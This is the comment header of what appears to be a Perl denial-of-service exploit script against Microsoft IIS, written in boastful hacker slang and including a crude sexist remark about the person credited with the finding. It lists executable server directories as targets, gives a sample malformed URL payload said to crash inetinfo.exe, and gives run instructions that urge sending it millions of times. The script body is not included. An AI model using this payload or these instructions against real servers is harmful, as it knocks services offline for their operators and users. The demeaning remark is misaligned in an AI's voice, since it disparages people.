# kokanin not like puny browser!!"#1 I hoped Inge was a leet haxx0r ch1ck, but it's
# apparently a dude, bummer. According to Inge passing a kinda malformed url to
# an executable dir a few times makes inetinfo.exe crap out. Yum, monday. This
# script has insanely elite randomization of the url, it even amazes me.
# Hello ilja, ptp people, others, see you at ccc and stuff.

# sample executable dirs: /_vti_bin/ /_sharepoint/ /scripts/ /cgi-bin/ /msadc/ /iisadmpwd/
# sample malformed url: http://www.example.xom/_vti_bin/.dll/*\~0
# sample run: ./this-crap.pl <www.host.bla> </executable_folder/> <count> 
# count should be 4 according to inge, do more!!!!1one MILLIONS I SAY!!!
